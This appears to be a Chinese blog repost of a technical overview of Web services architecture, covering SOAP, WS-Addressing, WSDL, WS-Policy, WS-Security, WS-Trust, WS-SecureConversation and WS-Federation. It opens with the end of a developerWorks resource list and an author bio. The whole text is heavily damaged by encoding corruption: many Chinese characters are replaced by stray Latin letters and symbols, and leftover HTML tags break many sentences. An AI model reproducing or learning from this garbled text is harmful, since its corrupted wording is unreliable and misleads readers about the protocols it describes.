- 请了解即出现的 Web 服务安全性协议的工作原理 ?请在 developerWorks上阅?Z XML 的o牌的 WS-Security 概要文gQ?002 q?8 月）?
- 通过 Jon Udell 有关 SAML ?PKI ?InfoWorld 文章了解更多背景知识?
- 请下?alphaWorks?XML Security SuiteQ以获得一?XML 数字{的实现?
- 请回儡 Frank Cohen 所撰写?前一文?/A>Q以了解先于 Web 服务行?XML 单点dҎQ?developerWorksQ?002 q?1 月）?
- ?developerWorksXML 专区 上找到更?XML 参考资料?
- 误?IBM WebSphere StudioQ这是一个 XML 开发自动化的工P可以使用 Java 语言和其它语aq行开发。它?WebSphere Application Server紧密集成Q也可以与其?J2EE 服务器一起用?
- 了解如何成ؓ一?IBM 认证?XML 及相x术的开发h?/A>?
关于作?/SPAN>
Frank Cohen 是一?“上门服务?/I>人士Q当企业需要测试和解决复杂的互操作信息pȝQ特别是 Web 服务Q中的问题时Q他可以上门服务。Frank ?PushToTestQ一家测试自动化解决Ҏ公司Q的创始人和几本有关试信息pȝ的书c的作者。Frank 最q出版的C Automating Web Tests with TestMaker现在可在 http://www.pushtotest.com/ptt扑ֈ。可以通过 fcohen@pushtotest.com与他联系?
]]>
http://www.54bk.com/blog.asp?subjectid=1715&name=yuexb
作者：Luis Felipe Cabrera、Christopher Kurt、Don Box
[摘要]本Web服务架构入门阐述了Web服务架构的基设计原则和Web服务的基技术。此外还对其功能q行了介l，q提供了对其q行正式定义的规范链接。本文也是该架构所有规范的参考指南?/P>
XML和Infoset
对于所有的消息传递系l来_选择信息传输单位是非帔R要的——简单地_Ҏ息的构成有个一般的认识是必不可的。在Web服务中，一条消息就是一个XML文信息，它由XML信息集（XML Information SetQ即InfosetQ定义。Infoset是一个抽象的数据模型Q它兼容Z文本的XML 1.0Q也是所有最新XML规范QXML Schema、XML Query和XSLT 2.0Q的基础。由于Web服务架构是以XML InfosetQ而不是某一特定的表现Ş式ؓ基础Q得该架构及其核心协议lg可与其他~码技术兼宏V?/P>
InfosetҎ一l‘信息项QInformation ItemsQ’对XML文档q行建模。这l可能的信息一般会映射到XML文的不同功能部件上Q如元素、属性、命名空间和注解。每一信息w有一个关联属性集Q用于提供该的更完整描q。附录B描述了XML文档中的11cM息项。每一个结构严谨的XML文都会包含一个文信息项和至一个元素信息项?/P>
除了ZU文本的Infoset~码技术以外，Web服务架构q支持另外一UInfoset~码技术——即允许不透明的二q制数据与传l的Z文本的标Cl在一赗W3C XML-binary Optimized PackagingQ即XOPQ格式用多部分MIME原始二q制数据引入到XML 1.0文中，而不采用base64~码。其配套规范——SOAP 消息 Transmission Optimization MethodQ即MTOMQ则指定如何该格式l定到SOAP。XOP和MTOM是将原始二进制数据与Z文本的XML混合在一L首选方法，它们取代了目前普遍遭到反对的SOAP with AttachmentsQSwAQ和WS-Attachments/DIME?/P>
SOAP
SOAP为在分散的分布式环境中用XML在同{体之间交换l构化分cM息提供了一U简单的轻量U机制。SOAP旨在最大限度地降低对基于不同^台构建的应用E序q行集成的设计成本，q认为最低成本技术最有可能赢得普遍接受。SOAP消息是包含三个元素的XML文档信息，q三个元素是Q?lt;Envelope>?lt;Header>?lt;Body>?/P>
Envelope是SOAP消息的根元素Q它包含一个可选的Header元素和一个必需的Body元素。Header元素是以分散方式增加SOAP消息功能的一U通用手法。Header的每个子元素都被UCؓ一个Header块（Header BlockQ，SOAP定义了几个知名的属性来指示应该p来处理Header块（roleQ以及这U处理是可选的q是必需的（mustUnderstandQ，下文中对q两个属性进行了介绍。目前，Header元素LEnvelope的第一个子元素QBody元素LEnvelope的最后一个子元素Q也是供最l消息接收者用的“有效负载”的容器。SOAP本n没有定义内置的Header块，且只定义了一个有效负载，那就是用于报告错误的Fault元素?/P>
所有的Web服务消息都是SOAP消息Q它们充分利用了XML Infoset。消息有效负载和协议头都使用同一个模型，可以保基础架构头Header和应用程序体的完整性。应用程序发送消息时可能会同时考虑Header的内容和消息中的数据。ؓXML数据模型开发的工具可以用于查和构徏完整的消息。过去，q些益处在某些架构中是没有的Q如DCOM、CORBA和RMIQ它们之中的协议头是一些对应用E序不透明的基架构l节?/P>
SOAP消息是从发送者向接收者单向传送的。多个单向消息的l合可以形成较ؓ复杂的模式。例如，比较常见的模式是同步h/响应消息寏V发送或接收消息的Q何一个Y件代理都被称Z个SOAP节点QSOAP NodeQ。启动消息传输的节点UCؓ原始发送节炏V用和处理消息的最后一个节点称为最l接收节炏V在原始发送节点和最l接收节点之间处理消息的M节点都叫做中介（IntermediaryQ。中介用于模拟单个消息的分布式处理。消息经q的所有中介节点和最l接收节点统UCؓ消息路径QMessage Path.Q?/P>
Z能够识别消息路径的各个部分，每个节点都担M个或多个角色。SOAP角色是一U分cL式，它将一个基于URI的名UC某些抽象功能Q如~存、验证、授权）兌在一赗基SOAP规范定义?个内|角ԌNext和UltimateReceiver。Next是一个通用角色Q因为除了发送节点之外的每一个SOAP节点都属于Next角色。UltimateReceiver是消息\径中l端节点所扮演的角艌Ӏ它通常是应用E序Q或在某些情况下是代表该应用E序执行d的基架构?/P>
SOAP envelope的BodyL针对最l接收节炏V而SOAP header则可以针对中介，也可以针Ҏl接收节炏Vؓ了提供一个安全且版本可控的消息处理模型，SOAP定义?个属性，用于控制中介和最l接收节点处理某一指定Header块的方式——role、relay和mustUnderstand。角色属性用于确定Header块所针对的节炏VmustUnderstand属性用于指C在Header块未被认出的情况下该节点是否可以忽略该Header块。带有mustUnderstand="true"标记的Header块叫做强制Header块（Mandatory Header BlockQ。标CؓmustUnderstand="false"或没有mustUnderstand属性的Header块叫做可选Header块。relay属性指C节点是发送还是放弃未被认出的可选header?/P>
每一个SOAP节点都必M用这3个属性来实现SOAP处理模型。以下步骤详l说明了该模型：
- 使用角色属性（~省该属性表CHeader块针Ҏl接收节点）定用于当前SOAP节点的SOAP消息的所有Header块?
- 验证当前SOAP节点是否能够使用SOAPmustUnderstand属性来处理步骤1中所定的所有强制Header块。如果有强制Header块不能被当前SOAP节点处理Q则必须丢弃该消息，q生成一条醒目的错误消息?
- 处理消息。可以忽略可选消息元素?
- 如果SOAP节点不是消息的最l接收节点，则步?中所定的所有无法分E传送的Header块都会被删除Q然后消息被传送到消息路径中的下一个SOAP节点。下一个SOAP节点可以自由地将新的Header块插入到分程传送的消息中。其中的某些Header块可能是步骤1中所定的Header块的副本?
SOAP处理模型旨在实现可扩展性和版本控制。mustUnderstand属性对新Header块的引入是中断变化还是非中断变化q行控制。添加可选header块（如标CؓmustUnderstand="false"的headerQ是一U非中断变化Q因ZQ何SOAP节点都可自由忽略它。添加强制header块（如标CؓmustUnderstand="true"的headerQ是一U中断变化，因ؓ只有知晓Header块语法和语义的SOAP节点才能够处理SOAP消息。Role、relay以及mustUnderstand属性沿着消息路径传递这U处理模型?/P>
消息交换模式
SOAP所提供的消息传递灵zLWeb服务能够以多U消息交换模式进行通信Q从而满_布式应用的需求。我们在该架构的核心构g中充分利用了其中一些模式，有几U模式已l被证明在分布式pȝ中特别有用，比如使用q程q程调用׃同步h/响应消息交换模式得到了普及。当消息传送潜伏时间失控时Q就需要采用异步消息传递。当使用同步h/响应模式Ӟ昑ּ消息相关性则成ؓ必需?/P>
q播传输QBroadcast TransportQ一对多消息传输得到了普及。原始发送者将其消息强行发送给接收者的模式UCؓ推模式（Push ModelQ。尽这U模式在局域网里很有效Q但在广域网中则不太适用Q接收者也无法调控消息。另一个有用的模式是以应用E序表达Ҏ些特定消息类别的兴趣的能力ؓ基础的，它发布/订阅模式大行光。通过昑ּ订阅消息源（或主题）Q应用程序可以更好地控制相关信息。接收者从消息源显式请求消息时使用拉模式（Pull ModelQ。在q种模式下，消息是由接收者驱动的。拉模式也可以与发布/订阅模式l合使用。这非常适合于接收者可能要与消息源间歇地断开q接的情c?/P>
传输的独立?/H2>
ҎSOAP的定义，它与所使用的底层消息传递机制无兟뀂它支持很多可用的消息交换传输机Ӟ也支持同步和异步消息传送与处理。既需要多U传输又需要异步消息传递的pȝ的一个例子是在基于陆地高速网l干U的Web服务与由Ud电话托管的间歇连接的Web服务之间q行通信的系l。这Lpȝ要求一条消息经哪种传输pȝ传输要以该消息在哪个|段内移动ؓ依据。这Lpȝq有一个典型特点，x息传送潜伏时间无法精确定。Web服务开发h员不应力囄定或界定消息传送潜伏时_而应在假定异步消息传递已辑ֈ最大效能的前提下构建系l。与使用q程q程调用时的情况不同Q异步消息传递允许发送者在每一消息传输之后l箋q行处理Q而不必被q阻塞ƈ{待响应。当Ӟ同步h--响应模式也可以构建在异步消息传递的基础之上?/P>
既然Web服务协议完全独立于底层传输之外，适当机制的选择可能p延迟到运行时。这׃ؓWeb服务应用E序提供了在发送消息时定相应传输机制的灵zL。此外，底层传输机制可能会随着消息在节点之间的发送而变化，相应圎ͼ针对每一|段而选择的传输机制也会随需发生变化?/P>
管存在着q种一般的传输的独立性，大多数第一代Web服务都用HTTP来进行通信Q因是SOAP规范内所包含的一U主要绑定协议。HTTP以TCP作ؓ其底层传输协议。但是，TCP在设计时引入了不必要的处理开销。有些应用协议模式与用户数据报协议（即UDPQ?User Datagram ProtocolQ的语义学比较匹配，q些模式对于受设备及其他资源U束的系l特别有用。UDP不像TCP那样h传输保证Q它提供最大限度的数据报消息传递。与TCP相比Q它需要的实施资源较少。此外，UDPq提供了多\q播功能QMulti-cast CapabilitiyQ，使一个发送者可以将消息同时发送给多个接收者?/P>
d
对于要在q种多传输情况下发送和d的消息来_要让关键的消息传递属性ؓ多个传输所携带Q就需要一U共用机制。ؓ此，WS-Addressing规范定义?lSOAP Header块：
- Action Header块用于说明消息的预期处理。该Header块包含一个URIQ最l接收者通常用它来分z要q行处理的消息?
- MessageID和RelatesTo Header块用于识别和兌消息。MessageID和RelatesTo header使用单的URI来唯一地识别消息——这些URI通常都是瞬态的UUID?
- To/ReplyTo/FaultTo Header块用于识别要处理消息及其回复的代理。这些Header依赖于WS-Addressing所定义的称为“端点引用（Endpoint ReferenceQ”的l构Q它与对SOAP消息q行正确d所需的信息捆l在一赗?
端点引用是WS-Addressing的最重要的方面，因ؓ与仅使用URI相比Q它们可为更l粒度的d提供支持。它们广泛用于整个Web服务架构。端点引用包?条关键的信息Q基地址、可选的引用属性集和引用参数。基地址是一个URIQ用于识别端点，出现在指向该端点的每一SOAP消息中的To Header块中。引用属性和引用参数是用于ؓ该消息提供附加发送或处理信息以补充基地址的Q意XML元素的集合，它们以文字Header元素来表C。当使用端点引用来构建端Ҏ息时Q发送者负责提供作为Header块的所有引用属性和引用参数?/P>
引用属性和引用参数之间的区别在于它们如何关联服务元数据。Web服务{略和契U仅Z其基地址和引用属性。通常Q基地址和引用属性用于识别某一l定的已部v服务Q引用参数用于识别该服务所理的特定资源?/P>
引用属性和参数是那些预期只被最l接收者处理的单的不透明XML元素。它们有助于保可用于分z、发送、烦引或其他发送端处理zd的信息被包含在给定的消息中。尽中介预期不会对该信息进行处理，但某些中介（如防火墙或网x务程序）却有可能使用某些引用属性或参数来进行消息发送、消息处理。引用属性有很多用途。服务类QClasses of ServiceQ和专用实体标识W（Private Entity IdentifierQ就是两个例子。在服务{例子中，引用属性可以用于区分针Ҏ准客LWeb服务和针对“黄金”客LWeb服务Q后者提供了更高的服务质量和增强功能——可能是通过附加的操作或附加的绑定——在逻辑上Ş成两个不同的端点。这些属性只在一个会话中讄一ơ，然后便在交互的其余所有部分重复用。引用属性另一个用途的例子是以一U对pȝ不公开发送消息的方式来识别客L机制。这两种引用属性的l合可以高效地将消息发送给一l适当的服务器Qƈ高效地确定与某一特定用户有关的应用状态。这些例子还展示了引用服务实例的数据和引用用户实例的数据如何用引用属性来表示?/P>
需要特别指出的是，引用属性还有助于对׃n一个共同的URL和作用域的WSDL实体集合q行d。WSDL是将Web服务描述为操作消息的一l端点的XML格式Q它首先抽象地指定其实体Q然后将其具体地l定到特定实例。具体而言Q消息和操作l抽象定义之后，被绑定到带有|络传输和消息格式信息的一个端炏V因此，从WSDL的角度来看，当针对不同的具体实体Q如输入或输出消息、portTypel定、端口或Web服务中用一个共同URL的服务）Ӟ对应端点引用的引用属性应该不同?/P>
使用引用参数的两个例子是基础架构和应用水q뀂引用参数的基础架构例子可以是发送给某一事务处理监视器的事务/征募IDQEnlistment IDQ。在一个购书的场景中，书的ISBN号可能就是一个引用参数应用水q例子?/P>
元数据（MetadataQ?/H2>
所有的Web服务交互都是通过交换SOAP消息来进行的。ؓ了提供一个健壮的开发和操作环境Q服务是用机器可ȝ元数据来描述的——元数据支持互操作性。Web服务元数据可以服务于若干个意图。它用于描述Web服务支持的消息互换格式和某一服务有效的消息交换模式。元数据q用于描q服务的功能和需求。元数据的最后一UŞ式叫做“服务策略（Policy of Services.Q”。消息互换格式和消息交换模式用WSDL来表C，{略使用WS-Policy来表C，契约QContractQ用上述三种元数据来表示。契U是应用程序与它们所依赖的服务的内部实现l节隔离开来的抽象?/P>
Web服务描述语言Q即WSDL——Web Service Description LanguageQ它是被q泛用于描述Web服务基本特征的第一U手Dc用WSDL描述的消息被归ƈ为定义基本消息模式的若干操作。这些操作被归ƈ为称作端口的若干个接口，它们详细说明了抽象的服务契约。端口和l定则用于将portTypes与具体传输和physical 部v信息兌在一赗WSDL描述是自动识别目标服务的所有特征和启用软g开发工LW一步。WSDL指定h消息必须包含什么以及响应消息在使用无歧义符h的显CZ是怎样。WSDL文g用于描述消息格式的符hZXML模式的。这意味着它既是编E语a中立的又是基于标准的Q这使得它很适合于描q可通过多种q_和编E语a来访问的服务接口。除了描q消息内容以外，WSDLq可以定义服务在何处是可用的Q以及哪些通信协议被用于与该服务交谈。这意味着WSDL文g可以指定用于~写与某一Web服务q行交互的程序的基本元素。有几种工具可用于读取WSDL文gQ以及ؓ~制句法正确的Web服务消息生成所需代码?/P>
管WSDL是一个不错的LQ但它ƈ不以描qWeb服务的方斚w面，WSDL只能表示较少的一l属性。Web服务所必需的更详细信息包括Q?/P>
- 操作特征Q支持SOAP 1.2?
- 使用特征Q仅在早9点和下午5点之间可用?
- 安全特征Q要讉K该服务必需使用Kerberos?
W一代Web服务必须使用专有协议来交换带外（Out of BandQ的元数据，q一问题可以使用WS-Policy来解冟뀂WS-Policy提供了一U通用模型和语法来描述和传达Web服务{略。它指定了一个概念基集，它可以被其他Web服务规范使用和扩展，以描q更为广泛的服务需求和功能。WS-Policy引入了一个简单的可扩展语法来表示{略断言QPolicy AssertionQ，以及一个处理模型来解释它们。断a可以合ƈ到逻辑选项中?/P>
{略断言使编Eh员要么在开发时、要么在q行时向服务信息中添加适当的元数据。开发时{略的例子包括消息大的最大允许值或所支持规范的确切版本，q行时策略的例子包括宕机时的必备服务或某一l定的管理过E（定期的硬件维护）期间Web服务的不可用性。可以对单个的策略断aq行分组Q以形成{略选项QPolicy AlternativeQ。策略是{略选项的集合。ؓ了便于进行互操作Q策略是Ҏ其XML Infoset表示形式来定义的。ؓ了在保持互操作性的同时减小{略文的大，又定义了{略的紧凑Ş式?/P>
{略用于传达两个Web服务端点之间的交互条件。满策略中的断a通常会引发反映这些条件的行ؓ。因此，{略断言评估是识别兼容行为的中心。当且仅当请求者满求，x供了q一功能、与该断a相符Ӟh者才支持{略断言——策略的构造块。一般而言Q这U决定要使用特定领域的知识来做出。请求者支持策略选项的条件是当且仅当h者支持选项中的所有断aӞq种军_是用策略断a的结果机械性地做出的。同P当且仅当h者至支持策略中的一个选项Ӟh者才支持{略。一旦策略选项l过评估Q该军_也是机械性地做出的。请注意Q虽然策略选项是互斥的Q但一般来说要定多个选项是否可以同时得到支持也是不太可能的?/P>
Z以互操作的Ş式传辄略，{略表达式（Policy ExpressionQ采用策略的某种XML Infoset表示形式。普通Ş式的{略表达式是最单的InfosetQ同P可选的Infoset允许通过大量构造来z地表达{略。策略表辑ּ是策略的基础构造块。有两个q算W用于表达断aQAll和ExactlyOne。Allq算W表C策略选项集中的所有断a都必适用于要满的策略断a。ExactlyOneq算W表C策略选项集中只有一条断a必须适用于要满的策略断a?/P>
{略层位于WSDL描述之上Qƈ对它q行了扩充。策略与Web服务元数据（如WSDL定义或UDDI实体Q的兌是通过使用WS-PolicyAttachment来实现的。策略可以作为其定义所固有的一部分或独立地与资源关联在一赗机制就是针对这些不同目的而定义的。需要特别指出的是，{略也可以与单个的SOAP消息一起用。如果ؓ某一实体制作了多个策略附Ӟ它们会共同确定该实体的有效策略（Effective PolicyQ。在WSDL层次l构的不同层ơ上选用{略时一定要心Q因为层ơ结构每一层次的最l结果就是一个有效策略。作我描q和人所能理解的明确性的一般规则，在策略断a所适用的层ơ结构的每一层次上详l地重复该策略断aQ比单地依赖于计有效策略的机制更可取。在一个WSDL文中，与部|端点的消息交换可以同时包含所?cM题的有效{略。WS-Policy和WS-PolicyAttachment相结合可以提高应用程序来发现和推出其他服务所支持的策略的能力。添加策略的灉|性是Ҏq消息交互的WSDL信息的一个重要补充?/P>
WSDL和WS-Policy都定义了元数据格式，但都没指定某一l定服务获得或访问元数据的机制。一般来_服务元数据可以通过使用许多Ҏ来获取。ؓ了支持服务的自我描述QWeb服务架构在WS-MetadataExchange中定义了ZSOAP的元数据讉K协议。GetMetadata操作用于索在h的端点引用中扑ֈ的元数据。Get操作cMQ但用于索不同的元数据：在元数据部分引用Qƈ要在存储它的端点引用中检索的元数据?/P>
使用WS-MEX来交换的元数据可以描qCؓ资源。资源即可由某一端点引用d的Q何实体，q且在该端点引用中，该实体可以提供一U其自n的XML表示形式。资源构成了构徏Web服务中的状态管理所需的基?/P>
什么是互操作性概要（Interoperability ProfileQ?BR> 概要QProfileQ是一l指导原则，主要针对于核心协议以及Web服务规范的用。这些指导原则对于规范的通用设计来说是必需的。在某些情况下，开发h员需要额外的帮助来确定用哪些Web服务Ҏ来满某一特定需求。互操作性概要还用于解决Web服务规范不够明确的领域中的含p性问题，以确保所有实施都以相同的方式来处理SOAP消息?/P>
WS-I基本概要
W一个Web服务概要是由Web服务-互操作性组l（WS-IQWeb Services-Interoperability OrganizationQ发布的。WS-I已经完成了其W一个概要，q简单地UCؓ基本概要1.0。该概要主要ZSOAP1.1和WSDL 1.0的互操作使用来提供指导原则?/P>
安全?/H1>
本节介绍Web服务架构中用于提供某一pȝ内部的消息完整性、n份验证和机密性、安全性o牌交换、消息会话安全性、安全策略表C和服务联盟安全性的规范。提供这些特性的规范是WS-Security、WS-Trust、WS-SecureConversation、WS-SecurityPolicy和WS-Federation?/P>
安全性是计算机系l的一个基本方面，其是那些由Web服务l成的系l。安全性必L健壮而有效的。因为系l只Ҏ息格式和合法的消息交换作出硬件假设，因此安全性必d于一致通过的明机制和假设。安全基架构q应该具有够的灉|性，以支持不同组l所需的不同安全策略?/P>
当安全传输可用于通信Web服务Q如安全套接层（SSLQ和传输层安全性（TLSQ之间时Q构建安全性解x案就得到了简化。有了安全传输，q些服务׃需要参与单个消息的完整性和机密性的l护Q它们可以依赖于底层传输。不q，现有的传输安全性是一个仅限于点对Ҏ息传递的解决Ҏ。如果在使用安全传输时存在中介，则最初发送者和最l接收者需要相信这些中介能够帮助提供端到端的安全性，因ؓ每个|段都是安全的。除了要明确CL有中介外Q还必须考虑到其他风险，如消息的本地存储和中介受到损害的可能性?/P>
Z最大限度地扩大Web服务的作用范_当通信端点不相信中介时Q必L供端到端的安全性，那就需要更高别的安全协议。作为另一U选择Q端到端消息安全性比点对点传输安全性具有更丰富的内涵，因ؓ它支持Web服务所需的基于SOAP的松耦合、联合、多传输和可扩展环境。这U功能强大而又灉|的基架构可以通过现有技术和Web服务协议的组合来开发，同时q可以缓解与点对Ҏ息传递相兌的许多安全风险?/P>
管Web服务的安全需求很复杂Q但Zq没有发明新的安全机制来满ZSOAP的消息传递的需要。现有的分布式系l安全性方法，如Kerberos、公钥加密技术、X.509证书{已l够用了。只有应用现有的SOAP安全ҎӞ新机制才是必需的。这些新安全协议的设计充分考虑了可扩展性，以便来能够加入新的Ҏ。一个主要的设计目标是要提供自我描述安全性属性（为包括SOAP在内的Web服务架构而设计）机制?/P>
Web服务安全性的基础是输入消息要证实一l关于发送者、服务或其他资源的断aq一需求。我们称之ؓ断言或安全性断a。典型的安全性断a包括w䆾、属性、关键胦产、权限或功能。这些断a是用包裹在XML中的二进制安全性o牌编码的。在传统的安全性术语中Q这些安全性o牌表C功能和讉K控制的合。很多方法都被用于创建安全性o牌。Web服务可以从本C息构建定制的安全性o牌。反q来Q安全性o牌也可以从X.509认证机构或Kerberos域控制器{专业服务检索。ؓ了实现服务之间的通信自动化，需要一个表辑֮全需求的Ҏ?/P>
服务可以使用WS-SecurityPolicy中所指定的策略断a来表辑օ安全需求。通过索这些策略断aQ应用程序可以构建符合目标服务需求的消息。断a、安全性o牌和{略所提供的这l特性以及从Web服务索它们的能力非常强大。这U普通的Web服务安全模式支持一些更具体的安全模式，如基于n份的授权、访问控制列表和Z功能的授权。它允许使用现有技术，如X.509 公钥证书、基于XML的o牌、Kerberos׃n的秘密票和密码摘要。这U普通模型对于构Z用更复杂的方法来q行更高U别的密钥交换、n份验证、基于策略的讉K控制、审核和处理复杂的信dpȝpȝ已经_。也可以使用代理和中l服务。例如，可以构徏中服务来加Z于信任边界的安全{略Q出界的消息被加密，而界内的消息不加密。以前的解决Ҏ没有提供q种灉|性和完善E度。附录C中所描述的常见安全攻d含了pȝ威胁的基本分c，而这些系l威胁是在选择Web服务安全Ҏ时应认真加以考虑的?/P>
本节的余下部分将探讨Web服务安全模式的应用。两个重要主题是安全通信和安全应用。没有假定安全的消息传输Q这也不是安全的Web服务所必需的?/P>
消息完整性和机密?/H2>
消息U安全性是端到端安全性的关键构造块。用消息安全性时Q无需传输U安全性。对消息U安全性的要求是消息完整性、消息n份验证和机密性。消息完整性确保消息不能在不知不觉中被更改。用XMLSignature可确保消息的修改能够被察觉。消息n份验证可识别发送消息的M。如果用了公钥加密Q就可以定M的唯一w䆾。将公钥加密与经受信L认证的密钥一起用可以实现这Un份验证。不q，如果使用了对U密钥加密，情况׃一样了——只有知道共享密钥的M才能被识别。消息机密性可保在传输期间未l授权的W三方不能阅L息。SOAP消息是通过使用XMLEncryption [XMLENC]和安全性o牌来保证机密性的?/P>
完整性、n份验证和机密性机制将初始消息Q或该消息的某些部分Q作入，生成的数据Q如校验和）作ؓ输出。例如，在某U简单情况下QXML元素的签名可能会作ؓXML元素所有字W的散列的非对称加密来实现。然后该加密散列可以存储在该消息中，q在该消息中传送。可以将XML文看作字符丌Ӏ就像XML{一P逐字W地比较也是非常重要的安全性操作。一字之差会D不同的结果。串行化是用于表C“在U쀝对象的Ҏ。例如，串行化可用于创徏SOAP消息的XML表示。不同串行化软g所D的Q何无关紧要的排字差异都会被消息处理Y件忽略，但会对安全性Y件生很大媄响。XML消息的Infoset表示形式改进了这一问题。要使XML{生效Q消息必{换成一个对所有方都是一致的XML表单。规范化是一个术语，来描q用于生成一致的换行W、制表间隔、属性排序和l束标签样式{非关键信息视图的方法。签名包含了用于使消息接收者能够完全像发送者那样处理安全信息的规范化方法。某一服务所使用的特定的规范化方法是要放|在一个WSDL portTypel定或WSDL端口的有用的{略断言?/P>
WS-Security指定了消息完整性和机密性机制以及单一的消息n份验证。对于消息完整性，该规范详l描qC加密{是如何表Cƈ与SOAP消息的特定部分关联的。该Ҏ允许L格式良好的消息片D|有单独的{。与之类|机密性是通过l构良好的消息片D늚加密来实现。n份验证是使用数字{来实现的。WS-Security规范描述了当前常用的安全机制Q也没有排除来d新机制的可能性。因为SOAP处理模型使用Header元素来作出处理决定，所以是军_SOAP消息中的哪些元素需要加密时一定要多加心?/P>
在决定要对哪些元素进行加密以及要使用哪些加密法ӞWeb服务设计人员一定要清楚消息是如何处理的。当某些特定的Header元素需要由W三Ҏ中介来处理时Q这些决定就更ؓ重要了。如果这些参与者对适当的解密数据或对在加密XML元素时所使用的约定毫无所知，它们无法实现正操作。此外，每个处理节点Ҏ息中包含的安全信息都必须有个一般的了解。加密某一Header中XML元素的一个自焉择是对它q行完全加密Q用初始元素替代加密数据cd的元素。这U简单的Ҏ有些~点。例如，中介不太好确定必d理哪些元素（带有mustUnderstand="1"属性的元素Q。另外，当元素类型发生变化时Q确定其初始cd比较困难。另一U方法是对元素进行{换，使得q行正确的SOAP处理所需的所有关键属性都保持不变Q且对初始元素进行了加密Qƈ攑֜一个特D的子元素中。这U方法的优点是即使不知道如何解密元素的中介也能实现正的处理。这U方法的一个缺Ҏ它要求所有参与者都了解用于表示初始元素的约定。尽WS-Security目前没有对这U方法提供指|但我们预期将来会提供的。相比之下这U方法更好一些，因ؓ它可实现所有SOAP Header元素的正处理?/P>
WS-Security的概要规范中描述了几U安全性o牌。针对表C用户名的o牌、X.509证书和基于XML的安全性o牌的概要都已l开发出来。基于XML的安全性o牌包括安全性断a标记语言QSAMLQSecurity Assertion Markup LanguageQ和可扩展权限标记语a/权限表达语言QRELQRights Expression LanguageQ。Kerberos的使用规范q未成型?/P>
WS-I基本安全概要
WS-I要发布的最新的互操作性概要之一是基本安全概要（BSPQBasic Security ProfileQ。该概要提供了WS-Security和各U安全性o牌，如Username和X.509证书令牌的实现指对{该概要用于补充和完善WS-I基本概要?/P>
Z安全令牌的信?/H2>
安全性o牌是提供端到端安全解x案所必需的。这些安全性o牌必d消息处理的参与者之间实现直接或间接׃n。各参与者还必须定断言的凭证是否可信。这些信dpM安全性o牌的交换和代理ؓ基础Qƈ存在于已l确定的支持信Q{略中。例如，某一代理的o牌有多少可信Q是ql管理员和他们确定的信Q关系军_的。提供安全性o牌的服务五花八门。这是各U底层安全技术首先ؓWeb服务所使用的领域。ؓ了提供一U与安全技术无关的l一标准的解x案，新协议是Zd之间的安全性o牌交换而设计的?/P>
WS-Trust以用于请求、发出和代理安全性o牌的协议对WS-Securityq行了补充。需要特别指出的是，其中定义了用于获取、发行、更新和验证安全性o牌的操作。该规范的另一个新Ҏ是建立Cdpȝ机制。IPsec或TLS/SSL之类的网l和传输保护机制可以与WS-Trustl合Q以适应不同的安全性需求和情况?/P>
安全性o牌可以直接从某一适当的发行者处甌获得Q或者通过委托某一受信ȝW三Ҏ获取。o牌还可以Z意料地获得。例如，令牌可以从某一安全权威机构发送到一个ƈ未明申误令牌的某一斏Vؓ此，pȝ理员要定初始信Q关系Q如某一l定服务指定ZȝҎ务。这U方法类g目前Web上用于自展安全性的Ҏ。从该服务获得的所有o牌受信Q的程度与受信ȝҎ务本w相同。例如，如果某根服务只有断言A和B得到信QQ且某一消息包含断言A、B和CQ则该消息中只有断言A和B得到信Q。配|灵zL是通过信Q关系授权提供的。ؓ了处理在退回或发出安全性o牌之前需要各方之间的一个交换集的情况，定义了用于验证、协商和交换的方法。一U称为“challenge”的Ҏ形式的交换ؓ某一方证明它拥有与某一令牌兌的密钥提供了一U方法。交换的其他cd包括传统的协议隧道。WS-Trust详细说明了如何扩展该规范Q以支持更多的o牌交换协议，而不仅仅是所l出的这两个例子?/P>
表示安全性断a的安全性o牌是׃个受信QҎ一个通过一个授权链的根发行的。这些安全性断a用于验证消息W合正在施行的安全策略。它们还验证断言者的属性是通过{来校验的。在代理的信L式中Q即由受信Q的中介分配安全性o牌的模式中，{可能不验证断a者的w䆾Q而验证中介的w䆾。该中介可能只断a者的w䆾?/P>
安全会话
用于消息w䆾验证和机密性的某些机制可能会耗用大量的资源。需要特别指出的是，许多加密技术都会显著消耗处理能力。当消息的安全性是逐一得到保证Ӟq些代h通常是无法避免的。不q，当两个Web服务q行许多消息的交换时Q可以用比WS-Security中定义的Ҏ更ؓ高效和健壮的消息机密性方法。这些方法是Z对称加密的，在保证消息会话的安全时应使用它们?/P>
WS-SecureConversation在基于共享密钥（如对U加密）的两个通信方之间定义了一个安全上下文。在整个会话期内Q安全上下文在各通信方之间始l是׃n的。会话密钥由׃n密钥z而来Q用于解密在会话中发送的单个消息。安全上下文在线表示Z个新的安全性o牌类型（即SCT QSecurity Context TokenQ?/P>
规范为徏立安全会话各方之间的安全上下文定义了3U不同方法。第一U，由安全性o牌服务创建，且必ȝ会话发vҎ取ƈ传送。第二种Q通信一方创建安全上下文q过消息传递给另一斏V第三种Q通过协商和交换创建安全上下文。Web服务会选择最能满_需要的Ҏ。必要时可以对安全上下文q行修正。更新安全上下文的一个典型例子是廉安全上下文的截止旉。安全上下文令牌隐含或包含了一个共享密钥。该密钥用于{、加密消息。当使用׃n密钥Ӟ通信各方可以选用不同的密钥派生模式。例如，可以z?个密钥，q样双方便可以用单独的密钥来签名和加密消息。ؓ了保证密钥未曄q和保持高度的安全性，应用后l的z密钥。用这U方法来保证会话的安全性是一U更好的选择。WS-SecureConversation规范定义了一U方法来指示l定消息正在使用哪些z密钥。所有派生算法都是通过URI来识别的?/P>
安全{略
WS-SecurityPolicy通过用一U符合WS-Policy的语a指定安全{略断言来完善WS-SecurityQ其6U断a涉及安全性o牌、消息完整性、消息机密性、消息对SOAP中介的可见性、对安全Header的约束和消息寿命。例如，某一{略断言可能要求所有消息都使用某一权威机构提供的公钥来{Q或该n份验证要ZKerberos?/P>
pȝ联盟
除了我们已经介绍的方法以外，应用E序安全性还需要更多的Ҏ。例如，在某一信Q域中有效的n份在其他信Q域中很可能没有意义。要让不同信d中的服务能够验证w䆾的有效性，需要适当的机制。WS-Federation定义了一些机Ӟ以支持n份、帐戗属性、n份验证和w䆾验证信息跨信d的共享。利用这些机Ӟ多个安全域可以通过在由多方参与的Web服务之间支持和代理n份、属性和w䆾验证的信任而结成联盟。该规范扩展了WS-Trust模型Q属性和W名可以被整合到令牌发行机制中，从而Ş成一U多域n份映机制。这些机刉支持单点d、退出和W名Qƈ描述了专业服务对于属性和W名的作用?/P>
